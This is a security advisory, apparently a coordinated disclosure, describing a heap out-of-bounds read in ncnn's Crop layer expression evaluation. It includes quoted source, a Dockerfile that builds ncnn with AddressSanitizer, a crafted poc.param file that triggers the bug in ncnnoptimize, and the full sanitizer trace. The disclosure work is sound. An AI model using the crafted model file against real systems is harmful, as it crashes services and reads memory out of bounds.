Crop Expression Heap Out-Of-Bounds Read
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/crop.cpp:722 in Crop::eval_crop_expr
Sanitizer verdict: heap-buffer-overflow
Summary
A Crop layer whose starts, ends, and axes expression strings evaluate to different numbers of elements makes ncnn iterate over the longest of the three while indexing all of them, reading past the end of the short std::vector<int> buffers and aborting ncnnoptimize. The attacker supplies only a .param file; the expressions are plain string parameters (keys 19, 20, 21) parsed at load time and evaluated during ModelWriter::shape_inference(). The out-of-bounds integers become crop offsets and output extents.
Detail
Crop::eval_crop_expr evaluates the three expressions into three independent std::vector<int>s and checks only that each evaluation succeeded — never that the three have matching lengths. It then takes the loop count from _axes alone:
// src/layer/crop.cpp:698
const int* starts_ptr = _starts.data();
const int* ends_ptr = _ends.data();
const int* axes_ptr = _axes.data();
int _axes4[4] = {0, 1, 2, 3};
int num_axis = (int)_axes.size();
if (num_axis == 0)
{
num_axis = dims;
}
// src/layer/crop.cpp:719
for (int i = 0; i < num_axis; i++)
{
int axis = _axes4[i];
int start = starts_ptr[i];
int end = ends_ptr[i];
The PoC's layer line is Crop crop 1 1 input output 19="0" 20="1" 21="0,1", so _starts and _ends each hold one element while _axes holds two. num_axis becomes 2, and on iteration i = 1 both starts_ptr[1] and ends_ptr[1] index one past the end of their vectors. std::vector<int> of a single element allocates exactly 4 bytes, so the read at starts_ptr[1] lands immediately after a 4-byte heap block — the "0 bytes after 4-byte region" that AddressSanitizer reports at src/layer/crop.cpp:722.
The same loop also writes _axes4[i] for i < num_axis in the earlier loop at line 710, so a longer axes expression additionally overflows the fixed four-element stack array; the PoC stays at two axes and trips the heap read first. Every backend that routes Crop::forward through the expression path reaches this code — the crash observed here is via Crop_x86_avx512::forward, but the faulting code is the shared src/layer/crop.cpp.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-crop-expression-heap-out-of-bounds-read && cd ncnn-poc-crop-expression-heap-out-of-bounds-read
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'PARAM'
7767517
2 2
Input input 0 1 input 0=1
Crop crop 1 1 input output 19="0" 20="1" 21="0,1"
PARAM
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0
AddressSanitizer output:
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000000294 at pc 0x58a298a9429a bp 0x7ffd86369580 sp 0x7ffd86369570
READ of size 4 at 0x502000000294 thread T0
#0 0x58a298a94299 in ncnn::Crop::eval_crop_expr(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, int&, int&, int&, int&, int&, int&, int&, int&) const /ncnn/src/layer/crop.cpp:722
#1 0x58a298ace59f in ncnn::Crop_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/crop_x86_avx512.cpp:189
#2 0x58a2966aef2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
#3 0x58a2966a0b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
#4 0x58a2967009e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
#5 0x58a2965923c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
#6 0x58a29660feee in main /ncnn/tools/ncnnoptimize.cpp:2844
#7 0x79fc3dcca1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#8 0x79fc3dcca28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#9 0x58a29658f624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
0x502000000294 is located 0 bytes after 4-byte region [0x502000000290,0x502000000294)
allocated by thread T0 here:
#0 0x79fc3e345548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95
#1 0x58a296621161 in std::__new_allocator<int>::allocate(unsigned long, void const*) /usr/include/c++/13/bits/new_allocator.h:151
#2 0x58a29661db22 in std::allocator_traits<std::allocator<int> >::allocate(std::allocator<int>&, unsigned long) /usr/include/c++/13/bits/alloc_traits.h:482
#3 0x58a29661db22 in std::_Vector_base<int, std::allocator<int> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:381
#4 0x58a29670ae58 in void std::vector<int, std::allocator<int> >::_M_realloc_insert<int const&>(__gnu_cxx::__normal_iterator<int*, std::vector<int, std::allocator<int> > >, int const&) /usr/include/c++/13/bits/vector.tcc:459
#5 0x58a296709383 in std::vector<int, std::allocator<int> >::push_back(int const&) /usr/include/c++/13/bits/stl_vector.h:1292
#6 0x58a29f62cf99 in ncnn::eval_list_expression(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<int, std::allocator<int> >&) /ncnn/src/expression.cpp:551
#7 0x58a298a93a5e in ncnn::Crop::eval_crop_expr(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, int&, int&, int&, int&, int&, int&, int&, int&) const /ncnn/src/layer/crop.cpp:668
#8 0x58a298ace59f in ncnn::Crop_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/crop_x86_avx512.cpp:189
#9 0x58a2966aef2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
#10 0x58a2966a0b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
#11 0x58a2967009e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
#12 0x58a2965923c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
#13 0x58a29660feee in main /ncnn/tools/ncnnoptimize.cpp:2844
#14 0x79fc3dcca1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#15 0x79fc3dcca28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#16 0x58a29658f624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
SUMMARY: AddressSanitizer: heap-buffer-overflow /ncnn/src/layer/crop.cpp:722 in ncnn::Crop::eval_crop_expr(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, int&, int&, int&, int&, int&, int&, int&, int&) const
Credit
Zheng Yu @ DepthFirst